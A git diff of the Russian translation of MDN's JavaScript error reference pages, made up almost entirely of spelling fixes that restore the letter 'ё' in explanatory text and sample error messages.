    diff --git a/files/ru/web/javascript/reference/errors/already_has_pragma/index.html b/files/ru/web/javascript/reference/errors/already_has_pragma/index.html index 5de1095a97..e976c9a07d 100644 --- a/files/ru/web/javascript/reference/errors/already_has_pragma/index.html +++ b/files/ru/web/javascript/reference/errors/already_has_pragma/index.html @@ -22,7 +22,7 @@ translation_of: Web/JavaScript/Reference/Errors/Already_has_pragma

    Для данного источника JavaScript исходная карта была указана несколько раз.

    -

    Источники JavaScript часто объединяются и минимизируются, чтобы сделать их доставку с сервера более эффективной. С помощью сопоставлений исходного кода отладчик может сопоставить выполняемый код с исходными файлами. Существует два способа назначения исходной карты: с помощью комментария или путем установки заголовка для файла JavaScript.

    +

    Источники JavaScript часто объединяются и минимизируются, чтобы сделать их доставку с сервера более эффективной. С помощью сопоставлений исходного кода отладчик может сопоставить выполняемый код с исходными файлами. Существует два способа назначения исходной карты: с помощью комментария или путём установки заголовка для файла JavaScript.

     

    diff --git a/files/ru/web/javascript/reference/errors/bad_radix/index.html b/files/ru/web/javascript/reference/errors/bad_radix/index.html index b3e84de1e7..c4cc82a20b 100644 --- a/files/ru/web/javascript/reference/errors/bad_radix/index.html +++ b/files/ru/web/javascript/reference/errors/bad_radix/index.html @@ -25,7 +25,7 @@ RangeError: toString() radix argument must be between 2 and 36 (Chrome)

    Почему значение этого параметра не может быть больше, чем 36? Для оснований, превышающих 10, в качестве цифр используются алфавитные символы; следовательно, основание не может быть больше 36, поскольку в латинском алфавите (используемом английским и многими другими языками) только 26 символов.

    -

    Наиболее распространенные основания систем счисления:

    +

    Наиболее распространённые основания систем счисления:

    • 2 для двоичных чисел,
    • diff --git a/files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html b/files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html index 549b5ae654..c5c63a7200 100644 --- a/files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html +++ b/files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html @@ -17,7 +17,7 @@ SyntaxError: Invalid regular expression flags (Chrome)

      Что пошло не так?

      -

      В коде есть недопустимые флаги регулярных выражений. Литерал в регулярном выражении, который содержит шаблон заключенный между двумя слешами, флаги определяются после второго флага. Они также могут быть объявлены в конструкторе функции {{jsxref("RegExp")}} object (второй параметр). Флаги регулярного выражения могут быть использованы отдельно или вместе в любой очередности, но в ECMAScript их только пять.

      +

      В коде есть недопустимые флаги регулярных выражений. Литерал в регулярном выражении, который содержит шаблон заключённый между двумя слешами, флаги определяются после второго флага. Они также могут быть объявлены в конструкторе функции {{jsxref("RegExp")}} object (второй параметр). Флаги регулярного выражения могут быть использованы отдельно или вместе в любой очерёдности, но в ECMAScript их только пять.

      Чтоб включить флаг в регулярное выражение, используйте синтаксис:

      diff --git a/files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html b/files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html index dd69cb3167..17a6e16436 100644 --- a/files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html +++ b/files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html @@ -22,7 +22,7 @@ SyntaxError: yield not in function (Firefox)

      Что пошло не так?

      -

      Вызов оператора return или yield был осуществлен вне функции. Может, где-то пропущена фигурная скобка? Операторы return и yield не могут существовать вне функции, поскольку они завершают (или останавливают и возобновляют) её исполнение и указывают значение, возвращаемое в место, откуда она была вызвана.

      +

      Вызов оператора return или yield был осуществлён вне функции. Может, где-то пропущена фигурная скобка? Операторы return и yield не могут существовать вне функции, поскольку они завершают (или останавливают и возобновляют) её исполнение и указывают значение, возвращаемое в место, откуда она была вызвана.

      Примеры

      diff --git a/files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html b/files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html index 0d309530e6..9c1182eb7c 100644 --- a/files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html +++ b/files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html @@ -12,7 +12,7 @@ translation_of: Web/JavaScript/Reference/Errors/Called_on_incompatible_type
      TypeError: 'this' не является  Set объектом (EdgE)
       TypeError: Function.prototype.toString вызывается несовместимый объект (Firefox)
       TypeError: Function.prototype.bind вызывается несовместимая цель (Firefox)
      -TypeError: Метод Set.prototype.add called вызывается несовместимый приемник undefined (Chrome)
      +TypeError: Метод Set.prototype.add called вызывается несовместимый приёмник undefined (Chrome)
       TypeError: Bind должен вызываться для функции(Chrome)
       
      diff --git a/files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html b/files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html index e5c0553e8a..294f115dac 100644 --- a/files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html +++ b/files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html @@ -21,7 +21,7 @@ ReferenceError: 'x' is not defined (Chrome)

      Что случилось?

      -

      Попытка доступа к лексической переменной до ее инициализации. Это может произойти в любом блоке, если попытаться обратиться к переменной, объявленной с помощью ключевых слов let или const до того, как им было присвоено значение.

      +

      Попытка доступа к лексической переменной до её инициализации. Это может произойти в любом блоке, если попытаться обратиться к переменной, объявленной с помощью ключевых слов let или const до того, как им было присвоено значение.

      Примеры

      diff --git a/files/ru/web/javascript/reference/errors/cant_access_property/index.html b/files/ru/web/javascript/reference/errors/cant_access_property/index.html index df4ab49b2a..01d353480c 100644 --- a/files/ru/web/javascript/reference/errors/cant_access_property/index.html +++ b/files/ru/web/javascript/reference/errors/cant_access_property/index.html @@ -1,6 +1,6 @@ --- title: >- - TypeError: can't access property "x" of "y"(Тип ошибки: не удается получить + TypeError: can't access property "x" of "y"(Тип ошибки: не удаётся получить доступ к свойству "x" из "y") slug: Web/JavaScript/Reference/Errors/Cant_access_property translation_of: Web/JavaScript/Reference/Errors/Cant_access_property @@ -9,16 +9,16 @@ translation_of: Web/JavaScript/Reference/Errors/Cant_access_property

      Message

      -
      TypeError: не удается получить свойство {x} неопределенной или нулевой ссылки (Edge)
      -TypeError: не удается получить доступ к свойству {x} of {y} (Firefox)
      -TypeError: {y} не определен, не может получить доступ к свойству {x} (Firefox)
      +
      TypeError: не удаётся получить свойство {x} неопределённой или нулевой ссылки (Edge)
      +TypeError: не удаётся получить доступ к свойству {x} of {y} (Firefox)
      +TypeError: {y} не определён, не может получить доступ к свойству {x} (Firefox)
       TypeError: {y} имеет значение null, не может получить доступ к свойству {x} (Firefox)
       
       Образцы:
      -TypeError: x не определен, не может получить доступ к свойству "prop"
      +TypeError: x не определён, не может получить доступ к свойству "prop"
       TypeError: x имеет значение null, не может получить доступ к свойству "prop"
      -TypeError: не удается получить доступ к свойству "prop" неопределенного
      -TypeError: не удается получить доступ к свойству "prop" значения null
      +TypeError: не удаётся получить доступ к свойству "prop" неопределённого
      +TypeError: не удаётся получить доступ к свойству "prop" значения null
       
       
      @@ -36,7 +36,7 @@ TypeError: не удается получить доступ к свойству
      // undefined and null cases on which the substring method won't work
       var foo = undefined;
      -foo.substring(1); // TypeError: x не определен, не может получить доступ к свойству substring
      +foo.substring(1); // TypeError: x не определён, не может получить доступ к свойству substring
       
       var foo = null;
       foo.substring(1); // TypeError: x имеет значение null, не может получить доступ к свойству substring
      @@ -44,10 +44,10 @@ foo.substring(1); // TypeError: x имеет значение null, не мож
       
       

      Исправление проблемы

      -

      Чтобы исправить указатель null на неопределенные или нулевые значения, можно использовать оператор typeof, например.

      +

      Чтобы исправить указатель null на неопределённые или нулевые значения, можно использовать оператор typeof, например.

      if (typeof foo !== 'undefined') {
      -  // Теперь мы знаем, что foo определен.
      +  // Теперь мы знаем, что foo определён.
       }

      Смотрите также

      diff --git a/files/ru/web/javascript/reference/errors/cant_delete/index.html b/files/ru/web/javascript/reference/errors/cant_delete/index.html index 88dd78272d..ecdfb8cc30 100644 --- a/files/ru/web/javascript/reference/errors/cant_delete/index.html +++ b/files/ru/web/javascript/reference/errors/cant_delete/index.html @@ -9,9 +9,9 @@ translation_of: Web/JavaScript/Reference/Errors/Cant_delete

      Сообщение

      -
      TypeError: вызов delete на 'x' не разрешен в строгом режиме (Edge)
      +
      TypeError: вызов delete на 'x' не разрешён в строгом режиме (Edge)
       TypeError: свойство "x" не настраивается и не может быть удалено. (браузер Firefox)
      -TypeError: не удается удалить свойство "x" из #<Object> (Chrome)
      +TypeError: не удаётся удалить свойство "x" из #<Object> (Chrome)
       

      Тип ошибки

      diff --git a/files/ru/web/javascript/reference/errors/cant_redefine_property/index.html b/files/ru/web/javascript/reference/errors/cant_redefine_property/index.html index f164596b55..caf464a65f 100644 --- a/files/ru/web/javascript/reference/errors/cant_redefine_property/index.html +++ b/files/ru/web/javascript/reference/errors/cant_redefine_property/index.html @@ -1,6 +1,6 @@ --- title: >- - TypeError: can't redefine non-configurable property "x"(Тип ошибки: не удается + TypeError: can't redefine non-configurable property "x"(Тип ошибки: не удаётся переопределить настраиваемое свойство "x") slug: Web/JavaScript/Reference/Errors/Cant_redefine_property translation_of: Web/JavaScript/Reference/Errors/Cant_redefine_property @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Errors/Cant_redefine_property
      TypeError: невозможно изменить свойство, недоступное для записи {x} (Edge)
       TypeError: невозможно переопределить не настраиваемое свойство "x" (Firefox)
      -TypeError: не удается переопределить свойство: "x" (Chrome)
      +TypeError: не удаётся переопределить свойство: "x" (Chrome)
       

      Тип ошибки 

      @@ -26,13 +26,13 @@ TypeError: не удается переопределить свойство: "x

      Не настраиваемые свойства, созданные Object.defineProperty

      -

      The {{jsxref("Object.defineProperty()")}} создает не настраиваемые свойства, если они не указаны как настраиваемые.

      +

      The {{jsxref("Object.defineProperty()")}} создаёт не настраиваемые свойства, если они не указаны как настраиваемые.

      var obj = Object.create({});
       Object.defineProperty(obj, "foo", {value: "bar"});
       
       Object.defineProperty(obj, "foo", {value: "baz"});
      -// TypeError: не удается переопределить не настраиваемое свойство "foo"
      +// TypeError: не удаётся переопределить не настраиваемое свойство "foo"
       

      Вам нужно будет установить свойство "foo" в конфигурируемое, если вы собираетесь переопределить его позже в коде.

      diff --git a/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html b/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html index cfbf6eb56c..7eecd4634b 100644 --- a/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html +++ b/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html @@ -66,5 +66,5 @@ JSON.stringify(circularReference, getCircularReplacer());
      • {{jsxref("JSON.stringify")}}
      • -
      • cycle.js – вводит две функции, JSON.decycle и JSON.retrocycle, что дает возможность кодирования и декодирования циклических структур и групп обеспечения доступности баз данных в расширенный и обратно совместимый формат JSON.
      • +
      • cycle.js – вводит две функции, JSON.decycle и JSON.retrocycle, что даёт возможность кодирования и декодирования циклических структур и групп обеспечения доступности баз данных в расширенный и обратно совместимый формат JSON.
      diff --git a/files/ru/web/javascript/reference/errors/dead_object/index.html b/files/ru/web/javascript/reference/errors/dead_object/index.html index de666b01d8..7ce56344d0 100644 --- a/files/ru/web/javascript/reference/errors/dead_object/index.html +++ b/files/ru/web/javascript/reference/errors/dead_object/index.html @@ -1,7 +1,7 @@ --- title: >- - TypeError: can't access dead object (Тип ошибки:не удается получить доступ к - мертвому объекту) + TypeError: can't access dead object (Тип ошибки:не удаётся получить доступ к + мёртвому объекту) slug: Web/JavaScript/Reference/Errors/Dead_object translation_of: Web/JavaScript/Reference/Errors/Dead_object --- @@ -18,9 +18,9 @@ translation_of: Web/JavaScript/Reference/Errors/Dead_object

      Что не так?

      -

      Для улучшения использования памяти и предотвращения утечек памяти Firefox запрещает надстройкам сохранять строгие ссылки на объекты DOM после уничтожения родительского документа. Мертвый объект содержит сильную ссылку (keep alive) на элемент DOM, который сохраняется даже после того, как он был уничтожен в DOM. Чтобы избежать этих проблем, ссылки на узлы DOM во внешнем документе должны храниться в объекте, который относится к этому документу, и очищаться при выгрузке документа или храниться как слабые ссылки.

      +

      Для улучшения использования памяти и предотвращения утечек памяти Firefox запрещает надстройкам сохранять строгие ссылки на объекты DOM после уничтожения родительского документа. Мёртвый объект содержит сильную ссылку (keep alive) на элемент DOM, который сохраняется даже после того, как он был уничтожен в DOM. Чтобы избежать этих проблем, ссылки на узлы DOM во внешнем документе должны храниться в объекте, который относится к этому документу, и очищаться при выгрузке документа или храниться как слабые ссылки.

      -

      Проверка, если объект мертв

      +

      Проверка, если объект мёртв

      Components.utils предлагает isDeadWrapper()метод, который может использовать привилегированный код. 
       

      @@ -41,8 +41,8 @@ catch (e) {

      Смотрите также

      diff --git a/files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html b/files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html index ed6a768e94..06f348e5b2 100644 --- a/files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html +++ b/files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html @@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Errors/Delete_in_strict_mode

      Сообщение

      -
      SyntaxError: вызов delete on expression запрещен в строгом режиме в (Edge)
      +
      SyntaxError: вызов delete on expression запрещён в строгом режиме в (Edge)
       SyntaxError: применение оператора 'delete' к неполному имени не рекомендуется в (Firefox)
       SyntaxError: удаление неполного идентификатора в строгом режиме запрещено в (Chrome)
       
      @@ -33,7 +33,7 @@ SyntaxError: удаление неполного идентификатора в

      Примеры

      -

      Попытка удалить простую переменную не работает в JavaScript и выдает ошибку в строгом режиме:

      +

      Попытка удалить простую переменную не работает в JavaScript и выдаёт ошибку в строгом режиме:

      'use strict';
       
      @@ -46,7 +46,7 @@ delete x;
       // SyntaxError: применение оператора 'delete' к неполному имени является устаревшим
       
      -

      Чтобы освободить содержимое переменной, задайте для нее значение {{jsxref("null")}}:

      +

      Чтобы освободить содержимое переменной, задайте для неё значение {{jsxref("null")}}:

      'use strict';
       
      diff --git a/files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html b/files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html
      index 7e89e085df..1e5ea400a1 100644
      --- a/files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html
      +++ b/files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html
      @@ -19,7 +19,7 @@ translation_of: Web/JavaScript/Reference/Errors/Deprecated_expression_closures
       
       

      Что пошло не так?

      -

      Нестандартный синтаксис закрытия выражений (сокращенный синтаксис функций) устарел и больше не должен использоваться. Этот синтаксис будет полностью удален в Этот синтаксис будет полностью удален в {{bug(1083458)}} а скрипты с его помощью {{jsxref("SyntaxError")}} затем.

      +

      Нестандартный синтаксис закрытия выражений (сокращённый синтаксис функций) устарел и больше не должен использоваться. Этот синтаксис будет полностью удалён в Этот синтаксис будет полностью удалён в {{bug(1083458)}} а скрипты с его помощью {{jsxref("SyntaxError")}} затем.

      Примеры

      @@ -49,7 +49,7 @@ var obj = {
      var x = () => 1;
      -

      Стандартный синтаксис с использованием сокращенного синтаксиса метода

      +

      Стандартный синтаксис с использованием сокращённого синтаксиса метода

      Замыкания выражений также можно найти с помощью getter'а и setter'а, например:

      diff --git a/files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html b/files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html index 9bfa3ffb6c..84c437a28d 100644 --- a/files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html +++ b/files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html @@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Errors/Deprecated_String_generics ---
      {{jsSidebar("Errors")}}
      -
      Поддержка строковых обобщенных методов прекращена с версии Firefox 68. Более старые версии предупреждают об использовании данных методов следующим образом:
      +
      Поддержка строковых обобщённых методов прекращена с версии Firefox 68. Более старые версии предупреждают об использовании данных методов следующим образом:

      Сообщение

      @@ -45,7 +45,7 @@ Warning: String.trimRight is deprecated; use String.prototype.trimRight

      Что пошло не так?

      -

      Нестандартные обобщенные методы {{jsxref("String")}} являются устаревшими, поддержка в Firefox прекращена, начиная с версии 68. Строковые обобщенные методы предоставляют возможность применять методы экземпляров String к любым объектам.

      +

      Нестандартные обобщённые методы {{jsxref("String")}} являются устаревшими, поддержка в Firefox прекращена, начиная с версии 68. Строковые обобщённые методы предоставляют возможность применять методы экземпляров String к любым объектам.

      Примеры

      @@ -62,7 +62,7 @@ String(num).replace(/5/, '2');

      Прослойка

      -

      Ниже приведен код прослойки, с помощью которой можно добавить поддержку обобщенных методов String в другие браузеры:

      +

      Ниже приведён код прослойки, с помощью которой можно добавить поддержку обобщённых методов String в другие браузеры:

      /*globals define*/
       // Предполагаем, что все требуемые методы экземпляров String уже присутствуют
      diff --git a/files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html b/files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html
      index c90ca639e7..e843b0c45f 100644
      --- a/files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html
      +++ b/files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html
      @@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Errors/Deprecated_toLocaleFormat
       
       

      Неправильный синтаксис

      -

      В {{jsxref("Date.prototype.toLocaleFormat")}} метод устарел и будет удален (поддержка кроссбраузерных браузеров, доступна только в Firefox).

      +

      В {{jsxref("Date.prototype.toLocaleFormat")}} метод устарел и будет удалён (поддержка кроссбраузерных браузеров, доступна только в Firefox).

      var today = new Date();
       var date = today.toLocaleFormat('%A, %e. %B %Y');
      @@ -34,7 +34,7 @@ console.log(date);
       
       

      Альтернативный стандартный синтаксис с использованием ECMAScript IntlAPI

      -

      Стандарт ECMA-402 (ECMAScript Intl API) определяет стандартные объекты и методы, которые позволяют форматировать дату и время с учетом языка (доступно в Chrome 24+, Firefox 29+, IE11+, Safari10+).

      +

      Стандарт ECMA-402 (ECMAScript Intl API) определяет стандартные объекты и методы, которые позволяют форматировать дату и время с учётом языка (доступно в Chrome 24+, Firefox 29+, IE11+, Safari10+).

      You can now either use the {{jsxref("Date.prototype.toLocaleDateString")}} method if you just want to format one date.

      diff --git a/files/ru/web/javascript/reference/errors/equal_as_assign/index.html b/files/ru/web/javascript/reference/errors/equal_as_assign/index.html index 4219e825ba..1bea6c1135 100644 --- a/files/ru/web/javascript/reference/errors/equal_as_assign/index.html +++ b/files/ru/web/javascript/reference/errors/equal_as_assign/index.html @@ -18,7 +18,7 @@ translation_of: Web/JavaScript/Reference/Errors/Equal_as_assign

      Что пошло не так?

      -

      Было присвоение ( = ), когда вы обычно ожидали тест на присвоение (==). Чтобы помочь отладке, JavaScript (с включенными строгими предупреждениями) предупреждает об этом шаблоне.

      +

      Было присвоение ( = ), когда вы обычно ожидали тест на присвоение (==). Чтобы помочь отладке, JavaScript (с включёнными строгими предупреждениями) предупреждает об этом шаблоне.

      Примеры

      diff --git a/files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html b/files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html index d9a8f5ae2c..d44d147e44 100644 --- a/files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html +++ b/files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html @@ -14,7 +14,7 @@ translation_of: Web/JavaScript/Reference/Errors/For-each-in_loops_are_deprecated

      Что пошло не так?

      -

      JavaScript 1.6's {{jsxref("Statements/for_each...in", "for each (variable in obj)")}} оператор устарел и будет удален в ближайшем будущем.

      +

      JavaScript 1.6's {{jsxref("Statements/for_each...in", "for each (variable in obj)")}} оператор устарел и будет удалён в ближайшем будущем.

      Примеры

      @@ -121,7 +121,7 @@ func(undefined); // prints nothing

      Неправильный синтаксис

      -

      Существует устаревшая идиома для итерации по парам ключ-значение указанного объекта с помощью {{jsxref("Statements/for_each...in", "for each...in")}} и осужденный {{jsxref("Iterator")}} объект.

      +

      Существует устаревшая идиома для итерации по парам ключ-значение указанного объекта с помощью {{jsxref("Statements/for_each...in", "for each...in")}} и осуждённый {{jsxref("Iterator")}} объект.

      var object = { a: 10, b: 20 };
       
      diff --git a/files/ru/web/javascript/reference/errors/getter_only/index.html b/files/ru/web/javascript/reference/errors/getter_only/index.html
      index 9dc64f048f..c7fd7169f9 100644
      --- a/files/ru/web/javascript/reference/errors/getter_only/index.html
      +++ b/files/ru/web/javascript/reference/errors/getter_only/index.html
      @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Errors/Getter_only
       
       
      TypeError: назначение свойств только для чтения не допускается в строгом режиме (Edge)
       TypeError: установка свойства только для геттера "x" (Firefox)
      -TypeError: не удается установить свойство "prop" из #<Object>, который имеет только геттер (Chrome)
      +TypeError: не удаётся установить свойство "prop" из #<Object>, который имеет только геттер (Chrome)
       
       
      @@ -25,7 +25,7 @@ TypeError: не удается установить свойство "prop" из

      Примеры

      -

      В приведенном ниже примере показано, как установить getter для свойства. Он не задает сеттер, так TypeError выдается при попытке установить свойство температуры до 30. Дополнительные сведения см. Также в {{jsxref("Object.defineProperty()")}} странице.

      +

      В приведённом ниже примере показано, как установить getter для свойства. Он не задаёт сеттер, так TypeError выдаётся при попытке установить свойство температуры до 30. Дополнительные сведения см. Также в {{jsxref("Object.defineProperty()")}} странице.

      "use strict";
       
      @@ -45,7 +45,7 @@ arc.temperature; // 'get!'
       arc.temperature = 30;
       // TypeError: setting getter-only property "temperature"
      -

      Чтобы устранить эту ошибку, необходимо либо удалить строку 16, в которой предпринята попытка задать свойство temperature, либо реализовать для нее сеттер, например, как показано ниже:

      +

      Чтобы устранить эту ошибку, необходимо либо удалить строку 16, в которой предпринята попытка задать свойство temperature, либо реализовать для неё сеттер, например, как показано ниже:

      "use strict";
       
      diff --git a/files/ru/web/javascript/reference/errors/identifier_after_number/index.html b/files/ru/web/javascript/reference/errors/identifier_after_number/index.html
      index 71cdda791f..af7eae5389 100644
      --- a/files/ru/web/javascript/reference/errors/identifier_after_number/index.html
      +++ b/files/ru/web/javascript/reference/errors/identifier_after_number/index.html
      @@ -22,9 +22,9 @@ SyntaxError: непредвиденное число (Chrome)
       
       

       

      -

      Имена переменных, называемых {{Glossary("Identifier", "identifiers")}} соответствуют определенным правилам, которых должен придерживаться ваш код!

      +

      Имена переменных, называемых {{Glossary("Identifier", "identifiers")}} соответствуют определённым правилам, которых должен придерживаться ваш код!

      -

      Идентификатор JavaScript должен начинаться с буквы, символа подчеркивания ( _ ) или знака доллара ($). Они не могут начать с цифры! Только последующие символы могут быть цифрами (0-9).

      +

      Идентификатор JavaScript должен начинаться с буквы, символа подчёркивания ( _ ) или знака доллара ($). Они не могут начать с цифры! Только последующие символы могут быть цифрами (0-9).

       

      diff --git a/files/ru/web/javascript/reference/errors/in_operator_no_object/index.html b/files/ru/web/javascript/reference/errors/in_operator_no_object/index.html index a61a8d5f41..9563af464e 100644 --- a/files/ru/web/javascript/reference/errors/in_operator_no_object/index.html +++ b/files/ru/web/javascript/reference/errors/in_operator_no_object/index.html @@ -1,6 +1,6 @@ --- title: >- - TypeError: cannot use 'in' operator to search for 'x' in 'y'(не удается + TypeError: cannot use 'in' operator to search for 'x' in 'y'(не удаётся использовать 'in' оператор поиска для 'x' в 'y') slug: Web/JavaScript/Reference/Errors/in_operator_no_object translation_of: Web/JavaScript/Reference/Errors/in_operator_no_object @@ -43,7 +43,7 @@ TypeError: невозможно использовать оператор 'in'
      var foo = null;
       "bar" in foo;
      -// TypeError: не удается использовать оператор 'in' для поиска 'bar' в 'foo' (Chrome)
      +// TypeError: не удаётся использовать оператор 'in' для поиска 'bar' в 'foo' (Chrome)
       // TypeError: правая часть 'in' должна быть объектом, полученным null (Firefox)
       
      diff --git a/files/ru/web/javascript/reference/errors/index.html b/files/ru/web/javascript/reference/errors/index.html index 21d076dbdc..41b34e5478 100644 --- a/files/ru/web/javascript/reference/errors/index.html +++ b/files/ru/web/javascript/reference/errors/index.html @@ -8,9 +8,9 @@ translation_of: Web/JavaScript/Reference/Errors ---

      {{jsSidebar("Errors")}}

      -

      Ниже, Вы найдете список ошибок, которые возвращает JavaScript. Эти ошибки могут быть полезны при отладке, но неполадки не всегда сразу понятны. Страницы ниже  предлагают дополнительную информацию об этих ошибках. Каждая ошибка это Объект на основании {{jsxref("Error")}} object, и имеет имя (name) и сообщение (message).

      +

      Ниже, Вы найдёте список ошибок, которые возвращает JavaScript. Эти ошибки могут быть полезны при отладке, но неполадки не всегда сразу понятны. Страницы ниже  предлагают дополнительную информацию об этих ошибках. Каждая ошибка это Объект на основании {{jsxref("Error")}} object, и имеет имя (name) и сообщение (message).

      -

      Ошибки отображенные в Web консоли могут содержать ссылку на соответствующую страницу ниже, чтобы помочь вам быстро понять проблему в коде.

      +

      Ошибки отображённые в Web консоли могут содержать ссылку на соответствующую страницу ниже, чтобы помочь вам быстро понять проблему в коде.

      Список ошибок

      diff --git a/files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html b/files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html index d658f57b73..710aa435f8 100644 --- a/files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html +++ b/files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html @@ -19,7 +19,7 @@ TypeError: повторное объявление const 'x' (IE)

      Что пошло не так?

      -

      Константа-это значение, которое не может быть изменено программой в обычном исполнении. Он не может быть изменен путем повторного назначения и не может быть повторно объявлен. В JavaScript, константы объявляются с помощью ключевого слова const.

      +

      Константа-это значение, которое не может быть изменено программой в обычном исполнении. Он не может быть изменён путём повторного назначения и не может быть повторно объявлен. В JavaScript, константы объявляются с помощью ключевого слова const.

      Примеры

      @@ -67,7 +67,7 @@ function setupBigScreenEnvironment() {

      const и неизменность

      -

      Объявление const создает ссылку только для чтения на значение. Это не означает, что значение, которое он содержит, является неизменяемым, просто идентификатор переменной не может быть переназначен. Например, если содержимое является объектом, это означает, что сам объект все еще может быть изменен. Это означает, что нельзя изменить значение, хранящееся в переменной:

      +

      Объявление const создаёт ссылку только для чтения на значение. Это не означает, что значение, которое он содержит, является неизменяемым, просто идентификатор переменной не может быть переназначен. Например, если содержимое является объектом, это означает, что сам объект все ещё может быть изменён. Это означает, что нельзя изменить значение, хранящееся в переменной:

      const obj = {foo: 'bar'};
       obj = {foo: 'baz'}; // TypeError: invalid assignment to const `obj'
      diff --git a/files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html b/files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html
      index f9e91b0a53..9f0b68e84c 100644
      --- a/files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html
      +++ b/files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html
      @@ -22,11 +22,11 @@ SyntaxError: объявление переменной цикла for-in мож
       
       

      Что пошло не так?

      -

      Глава цикла for...in содержит выражение инициализатора. То есть переменная объявляется и присваивается значение |for (var i = 0 in obj)|. В нестрогом режиме это объявление head игнорируется и ведет себя как |for (var i in obj)|. Однако в строгом режиме создается синтаксическая ошибка.

      +

      Глава цикла for...in содержит выражение инициализатора. То есть переменная объявляется и присваивается значение |for (var i = 0 in obj)|. В нестрогом режиме это объявление head игнорируется и ведёт себя как |for (var i in obj)|. Однако в строгом режиме создаётся синтаксическая ошибка.

      Примеры

      -

      Данный пример дает SyntaxError:

      +

      Данный пример даёт SyntaxError:

      "use strict";
       
      diff --git a/files/ru/web/javascript/reference/errors/is_not_iterable/index.html b/files/ru/web/javascript/reference/errors/is_not_iterable/index.html
      index c084aac4e3..5e2823d3c1 100644
      --- a/files/ru/web/javascript/reference/errors/is_not_iterable/index.html
      +++ b/files/ru/web/javascript/reference/errors/is_not_iterable/index.html
      @@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Errors/is_not_iterable
       

      Сообщение

      TypeError: "x" не является итерационным (Firefox, Chrome)
      -TypeError: 'x' не является функцией или ее возвращаемое значение не является итерационным (Chrome)
      +TypeError: 'x' не является функцией или её возвращаемое значение не является итерационным (Chrome)
       

      Тип ошибки

      @@ -17,7 +17,7 @@ TypeError: 'x' не является функцией или ее возвращ

      Что пошло не так?

      -

      Значение, которое дается как правая сторона for...of или как аргумент функции, такой как {{jsxref("Promise.all")}} или {{jsxref("TypedArray.from")}}, не является итерационным объектом.  Повторяемое может быть, встроенный итератор типа, такие как {{jsxref("Array")}}, {{jsxref("String")}} или {{jsxref("Map")}}, генератор результатом, или объект, реализующий итератор протокол.

      +

      Значение, которое даётся как правая сторона for...of или как аргумент функции, такой как {{jsxref("Promise.all")}} или {{jsxref("TypedArray.from")}}, не является итерационным объектом.  Повторяемое может быть, встроенный итератор типа, такие как {{jsxref("Array")}}, {{jsxref("String")}} или {{jsxref("Map")}}, генератор результатом, или объект, реализующий итератор протокол.

      Примеры

      @@ -77,7 +77,7 @@ for (let x of generate) // TypeError: генерация не является console.log(x);
      -

      Если они не вызываются, то объект {{jsxref("Function")}}, соответствующий генератору, можно вызвать, но нельзя выполнить итерацию. Вызов генератора создает итерационный объект, который будет выполнять итерацию по значениям, полученным во время выполнения генератора.

      +

      Если они не вызываются, то объект {{jsxref("Function")}}, соответствующий генератору, можно вызвать, но нельзя выполнить итерацию. Вызов генератора создаёт итерационный объект, который будет выполнять итерацию по значениям, полученным во время выполнения генератора.

      function* generate(a, b) {
           yield a;
      diff --git a/files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html b/files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html
      index 5e65f8c633..f848e5486d 100644
      --- a/files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html
      +++ b/files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html
      @@ -39,7 +39,7 @@ var f = Function('x,', 'return x;');
       // SyntaxError (лишняя запятая)
       
       var f = Function(37, "alert('OK')");
